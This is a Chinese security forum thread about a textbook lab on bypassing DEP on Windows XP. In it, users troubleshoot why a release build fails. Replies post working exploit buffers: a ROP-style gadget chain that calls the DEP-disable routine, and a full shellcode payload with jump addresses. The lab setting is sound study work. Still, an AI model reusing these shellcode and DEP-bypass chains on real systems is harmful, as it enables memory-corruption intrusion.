首页
社区
课程
招聘
[讨论]12数据与程序的分水岭DEP中的实验DEP_Close_XP的实验环境问题
2011-10-25 19:46 7758

[讨论]12数据与程序的分水岭DEP中的实验DEP_Close_XP的实验环境问题

2011-10-25 19:46
7758
书P322的实验环境表中指出“build版本为release版本”。

     可是我在满足前四个条件的实验中运行release版本却报错。

      

我追踪调试了四天都没有运行正常,都是eip指向90909090,而无法运行。今天晚上突发奇想运行debug版本,却一次性成功,弹出了熟悉的对话框。

     

     我不知道是我的实验环境引起这个问题,还是书中的笔误。

     敬请明晓者赐教。

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 8
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
xnhandt 2011-10-26 22:37
2
0
我用release版本没问题
你跟踪一下,注意修改shellcode里面的变量,比如我的电脑修改如下:

//"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x09\xEB\x92\x7C"  //Mov al,1 retn
"\x95\x8B\x1D\x5D"  //调整EBP的值,不然出现异常
"\xF0\x40\x97\x7c"  //RETN+28调整ESP,避免关闭函数中的压栈操作导致EBP失效
//"\x90\x90\x90\x90"  //调整EBP的时候,RETN 0x04将ESP指向下一条指令,故需要填充,
"\x83\x34\xD3\x7D" //关闭DEP之后,leave回到这里,需要给定一个jmp esp让指令继续执行。(但是我觉得没必要,因为关闭函数中return 4之后就自然会到ESP+8处执行,错了,这里要先到0x90909090取值,而该地址不可读)
"\xDC\xE1\x93\x7C"  //DEP关闭函数入口地址
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"

下面是书中提供的
/*
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90" */

如果你地址都填对了,应该release没问题
雪    币: 1024
活跃值: (696)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Pursuer 2011-10-27 17:29
3
0
谢谢楼上指点,给我解决的思路,我再去跟跟。
雪    币: 24
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PCanyi 2012-11-15 20:31
4
0
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE9\x77\xBE\x77"//修正EBP
"\x81\x71\xBA\x7C"//pop eax
"\x0A\x1A\xBF\x7C"//pop pop pop retn
"\x3D\x68\xBE\x7C"//pop esi retn
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\x9B\xF4\x87\x7C"//retn 0x30
"\x17\xF5\x96\x7C"//关闭DEP代码的起始位置
"\x23\x1E\x1A\x7D"//jmp esp
"\xE9\x27\xFF\xFF"//跳转到shellcode起始地址
"\xFF\x90\x90\x90"
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-11 16:36
5
0
release版本下无法返回到ntdll里面
debug版本下就可以。
我的也是这样的,求解。
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-12 11:03
6
0
要把你的vc 6.0的编译优化设置改下就可以了,这样Release版本就可以了。
具体目录:工程->设置->c/c++下的Optimizations选为Disable(Debug)
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
shenger 2013-1-12 15:25
7
0
你要把你跟踪的过程发出来啊,不知道你错哪啊。我前天做这个实验就成功了啊,那些跳板什么的我都是自己重新找的,你试试调试把过程发发啊
游客
登录 | 注册 方可回帖
返回